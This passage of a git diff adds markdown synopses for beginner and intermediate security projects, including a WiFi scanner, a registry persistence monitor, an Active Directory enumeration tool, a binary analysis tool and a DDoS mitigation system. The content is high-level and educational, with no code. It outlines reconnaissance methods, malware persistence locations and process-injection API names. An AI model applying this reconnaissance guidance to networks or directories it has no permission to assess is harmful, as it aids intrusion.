+- Capacity calculation and verification +- Command-line interface with encoding/decoding modes diff --git a/SYNOPSES/beginner/WiFi.Network.Scanner.md b/SYNOPSES/beginner/WiFi.Network.Scanner.md new file mode 100644 index 00000000..982c3985 --- /dev/null +++ b/SYNOPSES/beginner/WiFi.Network.Scanner.md @@ -0,0 +1,38 @@ +# WiFi Network Scanner + +## Overview +Build a wireless network reconnaissance tool that scans for nearby wireless access points, displaying SSIDs, signal strength, encryption types, connected clients, and identifying rogue access points or weak security configurations. This project teaches wireless networking fundamentals, WiFi security protocols, and demonstrates reconnaissance techniques for network assessments. + +## Step-by-Step Instructions + +1. **Understand WiFi protocols and terminology** by learning about wireless networks operating on 2.4GHz and 5GHz bands, SSID (Service Set Identifier) as the network name, signal strength measured in dBm, and encryption standards (WEP, WPA, WPA2, WPA3, Open). Study authentication methods (PSK for personal networks, Enterprise for corporate), understand beacon frames that advertise networks, and learn how to interpret these signals to assess network security posture. + +2. **Install and configure wireless scanning tools** on your system—on Linux, install tools like `aircrack-ng` suite, `iwconfig`, `nmcli`, or use Python libraries like `scapy` or `wifi` module. On Windows, use tools like NetStumbler, Acrylic WiFi Home, or Python wrappers around Windows WiFi APIs. Understand that WiFi scanning often requires elevated privileges and may not work on all network cards. + +3. **Implement access point discovery** by capturing WiFi beacon frames that contain network information—use packet sniffing libraries (Scapy) to intercept and parse frames, or use system APIs to query available networks and their properties. Extract and display SSIDs, BSSID (MAC address), channel numbers, signal strength in dBm or percentage, frequency band, and encryption type for each discovered network. + +4. **Add encryption and security assessment** by analyzing the security protocols advertised by each network: identify WEP (very weak and deprecated), WPA (outdated but better than WEP), WPA2 (current standard), and WPA3 (newest, most secure). Flag networks using deprecated or weak encryption, networks with no encryption (open networks), and enterprise vs. personal authentication modes. + +5. **Implement client detection and identification** by using ARP scanning or manufacturer database lookups to identify connected devices on open networks or through other reconnaissance techniques. Display the number of active clients on each network, their MAC addresses if available, and use vendor lookup tables to identify device types (phones, laptops, IoT devices) based on MAC prefixes. + +6. **Create rogue access point detection** by identifying suspicious networks mimicking legitimate ones (similar SSIDs, unusual channel selections, MAC addresses not matching known vendor patterns). Implement algorithms to detect "evil twins" (networks impersonating legitimate services like airport WiFi), suspicious broadcast options, and networks with unusual signal patterns. + +7. **Build a comprehensive scan report** displaying results in organized formats (table view, JSON export, CSV export) sorted by signal strength, SSID, security level, or other criteria. Include visual elements like signal strength bars, color-coded security ratings (green for WPA3, yellow for WPA2, red for WEP/Open), and summary statistics showing total networks found, security distribution, and identified risks. + +8. **Create detailed documentation** explaining WiFi security concepts, discussing risk assessment for different encryption types, providing examples of scanning output, and including guidance on what to do if rogue networks or insecure configurations are detected. Cover legal considerations (only scan networks you own or have permission to assess), explain limitations of wireless scanning, and discuss WiFi security recommendations for users and organizations. + +## Key Concepts to Learn +- WiFi protocols and frame structures +- Wireless security standards and encryption +- Packet sniffing and beacon frame analysis +- MAC address lookup and vendor identification +- Signal strength analysis and interpretation +- Rogue access point detection + +## Deliverables +- Wireless access point discovery and enumeration +- SSID, BSSID, channel, and signal strength reporting +- Encryption type and security level assessment +- Connected client detection +- Rogue access point identification +- Multi-format reporting and export diff --git a/SYNOPSES/beginner/Windows.Registry.Monitor.md b/SYNOPSES/beginner/Windows.Registry.Monitor.md new file mode 100644 index 00000000..f70e111e --- /dev/null +++ b/SYNOPSES/beginner/Windows.Registry.Monitor.md @@ -0,0 +1,38 @@ +# Windows Registry Change Monitor + +## Overview +Build a Windows security tool that monitors critical registry keys for unauthorized modifications, focusing on common persistence locations used by malware like Run keys, Services, and Scheduled Tasks. This project teaches Windows system administration, malware persistence mechanisms, and demonstrates host-based threat detection techniques. + +## Step-by-Step Instructions + +1. **Understand Windows Registry structure and persistence mechanisms** by learning that the Registry is Windows' configuration database organized in hives (HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, etc.) with subkeys and values. Study how malware achieves persistence: Run/RunOnce keys (HKLM/HKCU\Software\Microsoft\Windows\CurrentVersion\Run) execute programs at startup, Services keys enable malware to run as system services, Scheduled Tasks hide in Task Scheduler, and many other locations offer persistence opportunities. Create a comprehensive list of high-risk registry locations. + +2. **Install Windows Registry monitoring library** using `python-registry` or `pywin32` to programmatically access and monitor the Windows Registry. Learn how to enumerate Registry keys, read values, and handle Registry permissions—understand that monitoring may require administrator privileges and that accessing certain Registry hives might need special handling. + +3. **Implement Registry snapshot creation** by taking a baseline of critical registry keys and their values, storing this in a database or JSON file. Include all values under high-risk keys like HKLM\Software\Microsoft\Windows\CurrentVersion\Run, HKLM\System\CurrentControlSet\Services, and similar locations. Create a comprehensive inventory of existing legitimate persistence mechanisms to distinguish them from suspicious additions. + +4. **Build continuous monitoring** that periodically reads the current Registry state and compares it against the baseline, detecting three types of changes: new registry values added (potential malware persistence), modified values (altered commands or locations), and deleted values (attempted cleanup or legitimate removal). Track timestamps and implement change detection that runs at configurable intervals (continuous polling, scheduled checks). + +5. **Implement change tracking and analysis** by creating records for each detected modification including timestamp, registry path, previous value, new value, value type, and change type. Build analysis logic that distinguishes between legitimate changes (software updates, user configuration changes, administrator actions) and suspicious changes (new .exe files in Run keys, suspicious scheduled tasks, service additions). + +6. **Create alerting and logging** that generates alerts when suspicious Registry modifications are detected, including detailed change information and recommendations for investigation. Log all changes to a secure location with immutable timestamps, create audit trails showing who accessed Registry monitoring, and provide capabilities to export logs for compliance documentation or incident investigation. + +7. **Add remediation capabilities** allowing administrators to quickly revert suspicious Registry changes by restoring values to previous states. Implement whitelist/blacklist functionality where known-good Registry modifications can be approved and excluded from alerts, preventing alert fatigue while focusing on truly suspicious changes. Include rollback functionality with safeguards preventing accidental deletion of critical Registry values. + +8. **Build comprehensive documentation** explaining Registry persistence mechanisms and how malware achieves persistence through Registry modifications, discussing detection methodology and limitations (Registry monitoring adds system overhead, sophisticated malware may hide changes). Provide setup instructions, examples of legitimate vs. suspicious Registry changes, and integration guidance with Windows Event Log monitoring and incident response procedures. Compare your tool to enterprise solutions and discuss Registry-level protections available in Windows security features. + +## Key Concepts to Learn +- Windows Registry structure and organization +- Malware persistence mechanisms +- Registry access and enumeration +- Change detection and baseline comparison +- Alerting and logging systems +- Incident response and remediation + +## Deliverables +- Registry snapshot and baseline creation +- Continuous Registry monitoring +- Change detection for additions, modifications, deletions +- Suspicious pattern analysis and detection +- Alerting with detailed change information +- Remediation and rollback capabilities diff --git a/SYNOPSES/intermediate/API.Rate.Limiter.md b/SYNOPSES/intermediate/API.Rate.Limiter.md new file mode 100644 index 00000000..947490ef --- /dev/null +++ b/SYNOPSES/intermediate/API.Rate.Limiter.md @@ -0,0 +1,41 @@ +# API Rate Limiter + +## Overview +Build middleware that implements rate limiting for APIs using token bucket or sliding window algorithms, supporting per-user, per-IP, and global rate limits with Redis backend for distributed systems. This project teaches request rate limiting, distributed systems concepts, and demonstrates techniques used to protect APIs from abuse and ensure fair resource allocation. + +## Step-by-Step Instructions + +1. **Understand rate limiting algorithms and strategies** by studying token bucket (tokens added at fixed rate, each request consumes token, requests denied when tokens exhausted), sliding window (track requests in time window, reject if window contains too many requests), and leaky bucket (requests enter queue, processed at fixed rate). Learn advantages of each: token bucket allows burst traffic but maintains long-term rate limit, sliding window provides exact precision but higher memory usage. Decide which algorithm fits your use case and implement accordingly. + +2. **Implement local rate limiting for single-server scenarios** storing rate limit state in memory: create data structures tracking request counts and timestamps per client (identified by user ID or IP address), implement token bucket logic computing available tokens based on elapsed time and consumption rate, and enforce limits by checking available capacity before allowing requests. Handle edge cases like clock skew and ensure calculations are numerically stable. + +3. **Build Redis-based distributed rate limiting** for multi-server deployments where multiple servers need shared rate limit state: use Redis atomic operations and Lua scripting to implement thread-safe rate limiting checks, store client request counts and token counts in Redis with TTL ensuring cleanup of old data, and implement consistent rate limiting across distributed infrastructure. Handle Redis connection failures gracefully falling back to permissive limits rather than blocking all traffic. + +4. **Create flexible rate limit configuration** accepting multiple limit granularities: per-user limits (each user has quota), per-IP limits (rate limit by source IP to prevent single-IP abuse), per-API-key limits (different clients get different quotas), and global limits (protect backend from overload). Allow configuration through environment variables, configuration files, or API administrative endpoints, enabling dynamic adjustment without server restarts. + +5. **Implement quota reset mechanisms** determining when rate limit counters reset: fixed window (reset at specific times like hour boundaries), sliding window (continuous reset based on request times), or refresh on-demand (explicit client reset). Handle transitions gracefully preventing edge cases where requests at window boundaries get unexpected treatment. + +6. **Build HTTP response headers and status codes** communicating rate limit status to clients: include X-RateLimit-Limit (maximum requests), X-RateLimit-Remaining (requests remaining in period), X-RateLimit-Reset (when limit resets), and use HTTP 429 Too Many Requests status code when limits exceeded. Provide Retry-After header indicating when client can retry, enabling well-behaved clients to implement backoff strategies. + +7. **Create whitelist/bypass mechanisms** allowing certain clients (internal services, monitoring, critical applications) to bypass rate limits. Implement tiered rate limiting where premium users get higher limits than free users, and dynamic rate limit adjustment based on server load (tighten limits during high load, relax during low load). Include administrative override capabilities for emergency situations. + +8. **Build monitoring and analytics** tracking rate limit enforcement: log rate limit violations (which clients, at what rate, when), create dashboards showing limit adoption and client behavior patterns, and send alerts when specific clients repeatedly hit limits (may indicate bugs, attacks, or misconfiguration). Provide insights on rate limit tuning: if many clients hit limits, limits may be too strict; if no one hits limits, they may be too generous. + +## Key Concepts to Learn +- Rate limiting algorithms and implementations +- Token bucket and sliding window patterns +- Redis atomic operations and Lua scripting +- Distributed systems and consistency +- HTTP headers and status codes +- Quota management and reset logic +- Monitoring and alerting + +## Deliverables +- Token bucket rate limiter implementation +- Sliding window rate limiter alternative +- Redis-based distributed rate limiting +- Multi-granularity limits (user, IP, global) +- Whitelist and bypass mechanisms +- HTTP 429 responses with proper headers +- Monitoring, analytics, and alerting +- Configuration management and dynamic adjustment diff --git a/SYNOPSES/intermediate/Active.Directory.Enumeration.md b/SYNOPSES/intermediate/Active.Directory.Enumeration.md new file mode 100644 index 00000000..e139e438 --- /dev/null +++ b/SYNOPSES/intermediate/Active.Directory.Enumeration.md @@ -0,0 +1,42 @@ +# Active Directory Enumeration Tool + +## Overview +Build a comprehensive tool that enumerates Active Directory users, groups, computers, and permission structures via LDAP queries, identifying privileged accounts, stale accounts, and misconfigurations. This project teaches directory services, LDAP protocol, and demonstrates reconnaissance techniques used in enterprise penetration testing and security assessments. + +## Step-by-Step Instructions + +1. **Understand Active Directory structure and LDAP protocol** by learning that Active Directory stores enterprise identity and security information in hierarchical structure: domains (forests) contain organizational units (OUs), users, groups, and computers. LDAP is the protocol querying AD: connect to domain controller on port 389 (LDAP) or 636 (LDAPS), authenticate with domain credentials, and execute search queries returning objects matching specified criteria. Study LDAP Distinguished Names (DN) format, common object classes (user, group, computer), and useful attributes (userAccountControl flags, lastLogon timestamps, memberOf groups). + +2. **Implement LDAP connection and authentication** using `ldap3` Python library to connect to Active Directory domain controller. Build functions that bind to LDAP with provided credentials, handle both simple and NTLM authentication, and gracefully manage connection failures. Implement domain controller discovery using DNS queries (SRV records) to automatically locate AD infrastructure without manual configuration. + +3. **Build user enumeration functionality** querying all users in directory, extracting attributes including username, display name, email, last logon timestamp, password last set, account status (enabled/disabled), and User Account Control (UAC) flags. Identify privileged users (members of Domain Admins, Enterprise Admins, Schema Admins groups), detect service accounts (likely to have long-standing passwords), and flag suspicious accounts (never logged in, password never expires, disabled accounts that should be cleaned up). + +4. **Create group enumeration and membership analysis** extracting all groups in directory and analyzing membership: identify security groups vs. distribution groups, determine nested group membership (groups containing other groups), find users with unusual group membership, and detect groups with excessive members (often misconfigured). Create dependency graphs showing group hierarchies and membership relationships for permission analysis. + +5. **Implement computer enumeration** discovering all domain-joined computers, their operating systems, last logon times, and DNS names. Identify stale computers (not logged in for 90+ days, good cleanup candidates), detect operating system patterns (count of Windows 10 vs. Windows 7, outdated OSes), and flag computers with potentially risky configurations (those without required security patches, unusual hostnames). + +6. **Build permission and privilege analysis** determining effective permissions for users/groups over organizational units and resources. Analyze privileged group memberships identifying who can perform administrative actions, trace delegation of authority (who delegated what permissions to whom), and identify privilege accumulation (users with more privileges than their role requires). Create permission matrices showing which users can access which resources. + +7. **Add stale account and misconfiguration detection** identifying security risks: accounts not logged in for 90+ days (should be disabled), accounts with passwords set to never expire (contrary to security policy), disabled accounts still present (should be deleted), groups with empty membership (should be removed), and orphaned accounts (belonging to deleted departments). Create remediation recommendations for each finding. + +8. **Build comprehensive reporting with visualization** generating reports showing AD structure, user/group statistics, identified risks, and privilege distributions. Create domain trust visualizations showing forest structure and trust relationships, group membership trees showing hierarchies, and access control matrices. Export findings in formats suitable for security assessments (HTML reports, CSV data exports, JSON for tool integration). Include documentation explaining AD concepts, common misconfigurations, remediation steps, and comparison to commercial AD security tools (BloodHound, Adalanche). + +## Key Concepts to Learn +- Active Directory structure and organization +- LDAP protocol and query syntax +- DN (Distinguished Names) and object attributes +- Group membership and nested groups +- User Account Control (UAC) flags +- Permission analysis and delegation +- Security risk identification +- Data visualization and reporting + +## Deliverables +- LDAP connection and authentication +- User enumeration with privilege identification +- Group enumeration and membership analysis +- Computer enumeration and OS detection +- Permission and privilege analysis +- Stale account and misconfiguration detection +- Visual domain structure and trust diagrams +- Comprehensive security assessment reporting diff --git a/SYNOPSES/intermediate/Backup.Integrity.Checker.md b/SYNOPSES/intermediate/Backup.Integrity.Checker.md new file mode 100644 index 00000000..3e8da495 --- /dev/null +++ b/SYNOPSES/intermediate/Backup.Integrity.Checker.md @@ -0,0 +1,43 @@ +# Automated Backup Integrity Checker + +## Overview +Build a backup validation system that verifies backup files haven't corrupted using checksums, automatically tests restoration processes, and alerts administrators if backups fail validation or haven't run recently. This project teaches backup strategies, data integrity verification, and demonstrates disaster recovery testing practices critical for business continuity. + +## Step-by-Step Instructions + +1. **Understand backup strategies, failure modes, and validation importance** by learning that backups are useless if they're corrupted or unrestorable, so validation is critical business practice. Study backup types: full backups (complete copy), incremental backups (changes since last backup), and differential backups (changes since last full backup). Research backup failure modes: file corruption during transfer, bitrot in storage, incomplete backups, encryption key loss, and wrong backup formats. Understand validation concepts: checksums verify data integrity, restoration testing ensures backups actually restore correctly, retention policies ensure appropriate history. + +2. **Implement backup discovery and cataloging** by scanning backup storage locations (local drives, NAS, cloud storage) to discover backup files: identify backup sets, extract metadata (backup timestamp, size, source system, backup type), and organize by system/application. Build database tracking all known backups with metadata, last successful backup timestamp, and validation status. Support multiple backup formats and locations: file-based backups, database dumps, VM snapshots, cloud provider native backups. + +3. **Build checksum validation** computing and verifying checksums for all backup files: calculate SHA256 hashes of backup files and compare against stored checksums from backup creation time, detecting any file corruption. Implement re-hashing on periodic basis (weekly/monthly) to detect bitrot occurring even in untouched storage. Log validation results including pass/fail status, timestamp, and hash values. Implement parallel/distributed hashing for large backup files improving performance. + +4. **Create automated restoration testing** that periodically restores backups to isolated test environments verifying they're genuinely restorable: select backup candidates (rotate which systems get tested), restore to temporary systems, verify restored data is correct and accessible, then destroy test instances. Document restoration duration as part of RTO (Recovery Time Objective) validation. Automate entire testing workflow: backup selection, environment provisioning, restoration execution, validation, environment cleanup. + +5. **Implement backup freshness monitoring** tracking whether backups are running on schedule: alert when backup timestamp falls outside expected window (daily backup missing for 26+ hours), identify systems not backed up recently, and track backup frequency trends. Calculate backup staleness indicating how old the most recent backup is and warning when backup data becomes too stale to be useful for recovery. + +6. **Build alert and escalation mechanisms** for backup failures: immediate alerts for failed backups (high priority), validation failures (corruption detected), missed backup windows (restore may not be available), and restoration test failures (backups might not actually restore). Implement graduated escalation: first alert to backup administrators, escalate to incident management if not resolved within timeframe. + +7. **Create validation reporting and dashboards** displaying backup status: show all backup systems, last successful backup timestamp, validation status (pass/fail/pending), and restoration test results. Include backup inventory with retention compliance (backups retained according to policy), trending showing backup success rates over time, and RTO metrics from restoration testing. Generate executive reports showing backup program health and compliance with recovery objectives. + +8. **Build comprehensive documentation** explaining backup and recovery concepts, validation methodologies, and disaster recovery testing procedures. Discuss limitations (automated testing may not catch all issues, restoration testing requires resources and time), compare to commercial backup software and disaster recovery testing platforms. Provide incident response procedures for when backup problems detected (verification, escalation, remediation). Include templates for business continuity planning, RTO/RPO (Recovery Point Objective) definition, and backup strategy documentation. Explain integration with broader disaster recovery and business continuity programs. + +## Key Concepts to Learn +- Backup architectures and strategies +- Checksum computation and verification +- Bitrot detection and storage durability +- Automated restoration testing +- RTO/RPO calculation and monitoring +- Alert management and escalation +- Data integrity verification +- Disaster recovery testing + +## Deliverables +- Backup file discovery and cataloging +- Checksum computation and validation +- Bitrot detection through periodic re-validation +- Automated restoration testing +- Restoration success/failure validation +- Backup freshness monitoring +- Alert system for backup failures +- Compliance tracking against retention policies +- Reporting and dashboard interfaces diff --git a/SYNOPSES/intermediate/Binary.Analysis.Tool.md b/SYNOPSES/intermediate/Binary.Analysis.Tool.md new file mode 100644 index 00000000..1b381a7b --- /dev/null +++ b/SYNOPSES/intermediate/Binary.Analysis.Tool.md @@ -0,0 +1,42 @@ +# Binary Analysis Tool + +## Overview +Build a malware analysis tool that disassembles executable files, extracts strings and imported functions, detects packing/obfuscation, and analyzes suspicious patterns. This project teaches binary file formats, reverse engineering fundamentals, and demonstrates techniques used for malware analysis and security research. + +## Step-by-Step Instructions + +1. **Understand binary file formats and analysis concepts** by learning PE (Portable Executable) format for Windows executables, ELF (Executable and Linkable Format) for Linux, and Mach-O for macOS. Study binary components: file headers containing metadata, sections (code, data, resources), symbol tables, relocation information, and imports/exports. Learn what distinguishes legitimate from suspicious binaries: unusual section names, import of dangerous APIs (CreateRemoteThread, WriteProcessMemory), string patterns, and file size anomalies. + +2. **Implement binary file parsing** using libraries like `capstone` for disassembly, `pefile` for PE analysis, and `pyelftools` for ELF analysis. Parse binary file headers extracting architecture (x86, x64, ARM), compilation timestamp, entry point, sections, imports, and exports. Handle multiple file formats through abstracted interface supporting PE, ELF, and Mach-O files. + +3. **Build string extraction functionality** reading all printable strings from binary data, identifying interesting patterns: URLs and domains indicating command-and-control infrastructure, Windows API names, file paths suggesting functionality, email addresses, and hardcoded credentials. Implement filtering: display only strings above minimum length to reduce noise, highlight suspicious patterns (obfuscated strings, known malware domains, API names), and provide context showing which binary section each string originates from. + +4. **Implement disassembly and instruction analysis** using `capstone` disassembler to convert binary code to assembly language instructions: analyze suspicious instruction patterns (code allocating executable memory then writing to it, process injection techniques, API hooking), identify code caves (unused space where malware might inject code), and detect anti-analysis techniques (API obfuscation, runtime decryption). Create summary of detected suspicious patterns for quick risk assessment. + +5. **Build packing and obfuscation detection** identifying when executables are compressed/encrypted: analyze section entropy (high entropy suggests encryption/packing), check for known packer signatures (UPX, ASPack, Themida), examine import address tables (packed files often import minimal APIs in main binary, loading more at runtime), and detect code polymorphism. Attempt to identify packer type and find public unpacking tools when possible. + +6. **Create imported function analysis** extracting API imports and analyzing them for suspicious patterns: detect imports of dangerous Windows APIs (VirtualAllocEx, CreateRemoteThread suggesting process injection, SetWindowsHookEx suggesting hooking), identify system calls suggesting specific functionality (network communication APIs, registry access, file operations), and flag unusual import combinations. Build profiles of malware families based on characteristic API imports. + +7. **Implement comprehensive scanning and scoring** combining multiple analysis signals into risk assessment: assign scores based on string patterns, suspicious imports, packing detection, entropy levels, and other indicators. Generate risk score (0-100 indicating likelihood of malicious behavior), list most suspicious findings, and provide recommendations (quarantine, sandbox analysis, submit to VirusTotal). Include confidence levels distinguishing between high-confidence suspicious patterns and weaker indicators. + +8. **Build reporting and visualization** displaying analysis results organized by category (strings, imports, suspicious patterns, packing, risk score). Include disassembly views of suspicious functions, dependency graphs showing imported APIs, and heatmaps showing section entropy. Export findings in formats suitable for malware research (JSON with all analysis data, PDF reports for documentation, CSV for trend analysis). Compare your tool to commercial solutions (IDA Pro, Ghidra, Radare2) and discuss limitations and extensions (dynamic analysis combining with runtime behavior observation). + +## Key Concepts to Learn +- Binary file formats (PE, ELF, Mach-O) +- Disassembly and assembly language +- Section analysis and entropy +- API import analysis +- Packing and obfuscation techniques +- String extraction and pattern matching +- Risk scoring algorithms +- Reverse engineering fundamentals + +## Deliverables +- Multi-format binary file parser (PE, ELF, Mach-O) +- Disassembly using Capstone +- String extraction with pattern detection +- Import function analysis +- Packing and obfuscation detection +- Entropy analysis and signature matching +- Comprehensive risk scoring +- Analysis reports and visualizations diff --git a/SYNOPSES/intermediate/Cloud.Asset.Inventory.md b/SYNOPSES/intermediate/Cloud.Asset.Inventory.md new file mode 100644 index 00000000..1d7e6ad0 --- /dev/null +++ b/SYNOPSES/intermediate/Cloud.Asset.Inventory.md @@ -0,0 +1,43 @@ +# Cloud Asset Inventory Tool + +## Overview +Build a multi-cloud inventory management tool that automatically discovers and catalogs all resources across AWS, Azure, and GCP, tracks changes over time, identifies untagged resources, and calculates infrastructure costs. This project teaches cloud platform APIs, infrastructure-as-code principles, and demonstrates tools used for cloud security and cost management. + +## Step-by-Step Instructions + +1. **Understand cloud provider APIs and authentication** by researching AWS SDK (boto3), Azure SDK, and Google Cloud SDK for programmatic resource discovery. Learn authentication methods: AWS IAM roles/credentials, Azure service principals, GCP service accounts. Set up appropriate permissions allowing read-only access to resource inventory without modification rights. Understand API rate limiting and implement backoff strategies preventing throttling. + +2. **Implement AWS resource discovery** using boto3 to enumerate EC2 instances, S3 buckets, RDS databases, Lambda functions, security groups, VPCs, and other infrastructure components. Extract metadata: resource IDs, types, creation timestamps, tags, configuration details, and costs. Build recursive discovery following relationships (instances belong to VPCs, security groups protect instances, EBS volumes attach to instances) creating complete infrastructure graph. + +3. **Create Azure resource enumeration** using Azure SDK to discover virtual machines, storage accounts, databases, app services, and other managed resources. Extract similar metadata as AWS implementation, handle Azure's hierarchical structure (subscriptions, resource groups, resources), and maintain consistency in data model. Support both Azure Resource Manager (ARM) and classic resources if applicable to target environments. + +4. **Build GCP resource discovery** querying Google Cloud APIs to enumerate Compute Engine instances, Cloud Storage buckets, Cloud SQL databases, App Engine services, and Kubernetes clusters. Maintain consistent data model across all three cloud providers enabling unified inventory interface. Handle GCP's project-based organization and service-specific discovery patterns. + +5. **Implement change tracking and versioning** storing snapshots of infrastructure at different points in time, detecting what changed between snapshots (new resources created, existing resources modified, resources deleted). Build timeline showing infrastructure evolution, enable before-and-after comparison of configurations, and identify drift from baseline (resources created outside change management processes). + +6. **Create tagging and metadata analysis** identifying resources missing required tags (standard tags for cost allocation, ownership, project association), detecting inconsistent tagging across resources, and analyzing tag coverage (what percentage of resources have all required tags). Flag untagged resources for cleanup and implement recommendations for tagging consistency improving cost allocation and resource management. + +7. **Build cost analysis and reporting** extracting cost information from each cloud provider's billing APIs: calculate total infrastructure spending, allocate costs to individual resources, identify cost trends (spending increasing or decreasing), and project future costs based on current usage patterns. Identify cost optimization opportunities (unused resources, oversized instances, cheaper alternative configurations). Generate cost allocation reports enabling chargeback and budget management. + +8. **Build comprehensive reporting and dashboards** with multi-format export: create inventory reports (CSV, JSON) showing all discovered resources with details, build dashboards visualizing resource distribution across clouds, display cost breakdown by service type/cloud provider, and generate change reports showing infrastructure modifications. Implement alerting on significant changes (major resource creation/deletion) or cost anomalies. Compare your tool to commercial solutions (Zesty, CloudMapper, Forseti) and discuss limitations (API permissions affect visibility, real-time accuracy depends on API polling frequency). + +## Key Concepts to Learn +- Cloud provider APIs and SDKs +- IAM and authentication across cloud platforms +- Infrastructure discovery and enumeration +- Resource metadata and relationships +- Change tracking and versioning +- Tagging strategies and compliance +- Cost analysis and optimization +- Multi-cloud unified management +- Infrastructure-as-code concepts + +## Deliverables +- AWS resource discovery and enumeration +- Azure resource discovery and enumeration +- GCP resource discovery and enumeration +- Unified inventory data model +- Change tracking with snapshots +- Tagging compliance analysis +- Cost tracking and allocation +- Multi-cloud dashboards and reports diff --git a/SYNOPSES/intermediate/Container.Security.Scanner.md b/SYNOPSES/intermediate/Container.Security.Scanner.md new file mode 100644 index 00000000..fa6ee676 --- /dev/null +++ b/SYNOPSES/intermediate/Container.Security.Scanner.md @@ -0,0 +1,41 @@ +# Container Security Scanner + +## Overview +Build a security scanning tool for Docker images and containers that identifies insecure practices in Dockerfiles, checks base image vulnerabilities, analyzes running container configurations, and generates compliance reports. This project teaches container security, image analysis, and demonstrates DevSecOps practices used in containerized infrastructure. + +## Step-by-Step Instructions + +1. **Understand Docker security risks and best practices** by learning common Docker misconfigurations: running containers as root (should use unprivileged user), hardcoding secrets in images (credentials, API keys), using outdated base images with known vulnerabilities, exporting unnecessary ports, and running privileged containers unnecessarily. Study security benchmarks like CIS Docker Benchmark that define best practices. Research Container Image Scanning tools and understand vulnerability databases tracking known vulnerabilities in base images. + +2. **Implement Dockerfile static analysis** by parsing Dockerfile instructions and checking for security anti-patterns: look for FROM instructions using outdated or vulnerable base images, identify hardcoded secrets (API keys, passwords), detect running as root (lack of USER instruction), find unnecessary privileged operations, and identify potentially dangerous RUN commands. Create a ruleset of checks, scoring each violation by severity, and explaining why each practice is problematic. + +3. **Build base image vulnerability scanning** querying vulnerability databases (NVD, Snyk, Aqua) to check if base images and installed packages have known vulnerabilities. Implement version matching detecting when Dockerfile uses outdated versions, suggest security-patched versions, and flag images without security updates for months/years. Track vulnerability history showing which packages changed from one image version to another and their security impact. + +4. **Create Docker API integration** connecting to Docker daemon to inspect running containers and image metadata: retrieve image configuration showing exposed ports, environment variables, entrypoint, volumes, and capabilities. Analyze running container behavior: which containers run as root, which have excessive capabilities (should run with dropped capabilities), which mount sensitive host paths unsafely, and which expose ports unnecessarily. + +5. **Implement volume and mount analysis** checking for insecure volume configurations: volumes mounted from host with read-write access (containers can modify host system), volumes mounted at critical paths (/etc, /sys, /proc), or volumes without proper permission restrictions. Analyze mounted secrets and check whether sensitive data is exposed through environment variables or volume mounts unnecessarily. + +6. **Build port and network exposure analysis** examining which ports containers expose and whether they're necessary, checking for exposed services that shouldn't be network-accessible, and analyzing network policies limiting container-to-container communication. Flag containers exposing databases, management interfaces, or other sensitive services unnecessarily on all interfaces rather than localhost only. + +7. **Create compliance checking** against CIS Docker Benchmark and other security frameworks, generating reports showing compliance percentages and specific violations. Implement custom compliance rules allowing organizations to define their own security policies. Export findings in formats suitable for auditing and compliance documentation, tracking remediation of identified issues over time. + +8. **Build comprehensive documentation** explaining container security concepts, providing examples of secure vs. insecure Dockerfiles, and including remediation guidance for common issues. Discuss limitations (static analysis catches obvious issues but not all vulnerabilities, runtime behavior analysis is also needed), compare to commercial container security tools (Aqua, Twistlock, NeuVector), and explain how container scanning fits into CI/CD pipelines and DevSecOps practices. Include examples of integrating scanner into build processes for automatic scanning of images before deployment. + +## Key Concepts to Learn +- Dockerfile structure and commands +- Docker image and container architecture +- Base image vulnerabilities +- Security best practices (CIS benchmarks) +- Docker API integration +- Vulnerability databases and matching +- Compliance frameworks and reporting + +## Deliverables +- Dockerfile static analysis +- Insecure practice detection +- Base image vulnerability scanning +- Docker API integration for running containers +- Port and volume exposure analysis +- Running container configuration audit +- CIS compliance checking +- Multi-format reporting with remediation guidance diff --git a/SYNOPSES/intermediate/DDoS.Mitigation.Tool.md b/SYNOPSES/intermediate/DDoS.Mitigation.Tool.md new file mode 100644 index 00000000..dc6cc611 --- /dev/null +++ b/SYNOPSES/intermediate/DDoS.Mitigation.Tool.md @@ -0,0 +1,40 @@ +# DDoS Mitigation Tool + +## Overview +Build a network monitoring system that detects Distributed Denial of Service (DDoS) attacks through traffic analysis, establishes baseline behavior patterns, and automatically implements rate limiting or firewall rules to mitigate attack impact. This project teaches network security, anomaly detection, and demonstrates defensive techniques used by infrastructure providers and security operations centers. + +## Step-by-Step Instructions + +1. **Understand DDoS attack types and detection methods** by learning volumetric attacks (flood target with massive traffic volume), protocol attacks (exploit weaknesses in network protocols like SYN floods), and application-layer attacks (target specific services). Study detection approaches: volumetric attacks create obvious traffic spikes, protocol attacks show unusual packet patterns, application attacks may appear more legitimate but occur at suspicious rates. Learn baseline concepts: normal traffic has relatively stable patterns that DDoS violates dramatically. + +2. **Implement traffic baseline establishment** using `scapy` for packet sniffing, collecting statistics on normal network behavior: packet counts per protocol, source/destination IP distributions, port usage patterns, bandwidth usage trends. Store baseline metrics over extended period (days/weeks) capturing diurnal patterns (traffic varies by time of day and day of week). Build statistical models (mean, standard deviation, percentiles) for each metric enabling anomaly detection against baseline. + +3. **Build real-time traffic monitoring** continuously capturing and analyzing live network packets, computing current traffic statistics per time window (e.g., per minute), and comparing against baseline patterns. Implement efficient computation avoiding analysis bottlenecks: aggregate statistics incrementally, maintain rolling windows rather than reprocessing all data, and use sampling if processing full traffic volume becomes computationally expensive. + +4. **Implement anomaly detection algorithms** identifying when current traffic deviates significantly from baseline patterns (e.g., traffic volume exceeds baseline mean by 5 standard deviations). Create thresholds for different attack indicators: sudden spike in traffic volume, unusual protocol distribution (normally 80% TCP suddenly becomes 20% UDP), source IP concentration (traffic from few IPs when normally distributed), or port concentration (attack on specific service). Combine multiple signals into composite anomaly score. + +5. **Build automated mitigation** through rate limiting and firewall integration: when attacks detected, implement token bucket rate limiting (limit traffic to specific rate), activate iptables rules blocking sources of attack traffic, or redirect traffic to scrubbing center. Implement safeguards preventing legitimate users from being blocked: start with lenient rate limiting, gradually increase restrictions as attack severity increases, and maintain whitelist of critical IPs that should never be blocked. + +6. **Create alerting and escalation mechanisms** notifying administrators when DDoS attacks detected through email, Slack webhooks, or system notifications. Include alert details: attack type indicators, affected services, current mitigation status, source IPs/countries of attack traffic, and recommendations for escalation. Implement alert ranking preventing notification fatigue while ensuring critical attacks receive immediate attention. + +7. **Build monitoring dashboards** displaying real-time traffic statistics, attack indicators, active mitigations, and historical trends. Show network health metrics (bandwidth usage, packet rates, protocol distribution), attack timeline showing when incidents occurred and their severity, and geographic visualization of attack sources. Include controls for administrators to manually adjust rate limits, whitelist/blacklist IPs, or trigger additional mitigations. + +8. **Build comprehensive documentation** explaining DDoS concepts, attack types, 